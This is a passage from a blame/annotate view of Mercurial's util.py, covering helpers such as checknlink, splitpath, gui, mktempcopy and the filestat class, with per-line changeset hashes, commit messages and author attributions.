1554 result.append(found or part) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
1555 dir = os.path.join(dir, part) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1556 |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1557 return ''.join(result) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1558 |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1559 def checknlink(testfile): |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1560 '''check whether hardlink count reporting works properly''' |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1561 |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1562 # testfile may be open, so we need a separate file for checking to |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1563 # work around issue2543 (or testfile may get lost on Samba shares) |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1564 f1, f2, fp = None, None, None |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1565 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1566 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile), |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1567 suffix='1~', dir=os.path.dirname(testfile)) |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1568 os.close(fd) |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1569 f2 = '%s2~' % f1[:-2] |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1570 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1571 oslink(f1, f2) |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1572 # nlinks() may behave differently for files on Windows shares if |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1573 # the file is open. |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1574 fp = posixfile(f2) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1575 return nlinks(f2) > 1 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1576 except OSError: |
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1577 return False |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1578 finally: |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1579 if fp is not None: |
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1580 fp.close() |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1581 for f in (f1, f2): |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1582 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1583 if f is not None: |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1584 os.unlink(f) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1585 except OSError: |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1586 pass |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1587 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1588 def endswithsep(path): |
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1589 '''Check path ends with os.sep or os.altsep.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1590 return (path.endswith(pycompat.ossep) |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1591 or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1592 |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1593 def splitpath(path): |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1594 '''Split path by os.sep. |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1595 Note that this function does not use os.altsep because this is |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1596 an alternative of simple "xxx.split(os.sep)". |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1597 It is recommended to use os.path.normpath() before using this |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1598 function if need.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1599 return path.split(pycompat.ossep) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1600 |
6007
090b1a665901
filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents:
6006
diff
changeset
|
1601 def gui(): |
090b1a665901
filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents:
6006
diff
changeset
|
1602 '''Are we running in a GUI?''' |
34647 | 1603 if pycompat.isdarwin: |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
1604 if 'SSH_CONNECTION' in encoding.environ: |
13734
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1605 # handle SSH access to a box where the user is logged in |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1606 return False |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1607 elif getattr(osutil, 'isgui', None): |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1608 # check if a CoreGraphics session is available |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1609 return osutil.isgui() |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1610 else: |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1611 # pure build; use a safe default |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1612 return True |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1613 else: |
34645 | 1614 return pycompat.iswindows or encoding.environ.get("DISPLAY") |
6007
090b1a665901
filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents:
6006
diff
changeset
|
1615 |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1616 def mktempcopy(name, emptyok=False, createmode=None): |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1617 """Create a temporary file with the same contents from name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1618 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1619 The permission bits are copied from the original file. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1620 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1621 If the temporary file is going to be truncated immediately, you |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1622 can use emptyok=True as an optimization. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1623 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1624 Returns the name of the temporary file. |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1625 """ |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1626 d, fn = os.path.split(name) |
34002
2ad028635ccd
util: use ~ as a suffix for a temp file in the same directory as a source file
Michael Bolin <mbolin@fb.com>
parents:
33853
diff
changeset
|
1627 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1628 os.close(fd) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1629 # Temporary files are created with mode 0600, which is usually not |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1630 # what we want. If the original file already exists, just copy |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1631 # its mode. Otherwise, manually obey umask. |
15010
c3114acd8ea2
util: factor new function copymode out of mktempcopy
Adrian Buehlmann <adrian@cadifra.com>
parents:
14999
diff
changeset
|
1632 copymode(name, temp, createmode) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1633 if emptyok: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1634 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1635 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1636 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1637 ifp = posixfile(name, "rb") |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1638 except IOError as inst: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1639 if inst.errno == errno.ENOENT: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1640 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1641 if not getattr(inst, 'filename', None): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1642 inst.filename = name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1643 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1644 ofp = posixfile(temp, "wb") |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1645 for chunk in filechunkiter(ifp): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1646 ofp.write(chunk) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1647 ifp.close() |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1648 ofp.close() |
16705
c2d9ef43ff6c
check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents:
16703
diff
changeset
|
1649 except: # re-raises |
34435
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1650 try: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1651 os.unlink(temp) |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1652 except OSError: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1653 pass |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1654 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1655 return temp |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1656 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1657 class filestat(object): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1658 """help to exactly detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1659 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1660 'stat' attribute is result of 'os.stat()' if specified 'path' |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1661 exists. Otherwise, it is None. This can avoid preparative |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1662 'exists()' examination on client side of this class. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1663 """ |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1664 def __init__(self, stat): |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1665 self.stat = stat |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1666 |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1667 @classmethod |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1668 def frompath(cls, path): |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1669 try: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1670 stat = os.stat(path) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1671 except OSError as err: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1672 if err.errno != errno.ENOENT: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1673 raise |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1674 stat = None |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1675 return cls(stat) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1676 |
32816
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1677 @classmethod |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1678 def fromfp(cls, fp): |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1679 stat = os.fstat(fp.fileno()) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1680 return cls(stat) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1681 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1682 __hash__ = object.__hash__ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1683 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1684 def __eq__(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1685 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1686 # if ambiguity between stat of new and old file is |
30332
318a24b52eeb
spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents:
30329
diff
changeset
|
1687 # avoided, comparison of size, ctime and mtime is enough |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1688 # to exactly detect change of a file regardless of platform |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1689 return (self.stat.st_size == old.stat.st_size and |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1690 self.stat.st_ctime == old.stat.st_ctime and |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1691 self.stat.st_mtime == old.stat.st_mtime) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1692 except AttributeError: |
32749
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1693 pass |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1694 try: |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1695 return self.stat is None and old.stat is None |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1696 except AttributeError: |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1697 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1698 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1699 def isambig(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1700 """Examine whether new (= self) stat is ambiguous against old one |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1701 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1702 "S[N]" below means stat of a file at N-th change: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1703 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1704 - S[n-1].ctime < S[n].ctime: can detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1705 - S[n-1].ctime == S[n].ctime |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1706 - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1707 - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1708 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1709 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1710 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1711 Case (*2) above means that a file was changed twice or more at |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1712 same time in sec (= S[n-1].ctime), and comparison of timestamp |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1713 is ambiguous. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1714 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1715 Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1716 timestamp is ambiguous". |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1717 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1718 But advancing mtime only in case (*2) doesn't work as |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1719 expected, because naturally advanced S[n].mtime in case (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1720 might be equal to manually advanced S[n-1 or earlier].mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1721 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1722 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1723 treated as ambiguous regardless of mtime, to avoid overlooking |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1724 by confliction between such mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1725 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1726 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1727 S[n].mtime", even if size of a file isn't changed. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1728 """ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1729 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1730 return (self.stat.st_ctime == old.stat.st_ctime) |
ca4065028e00
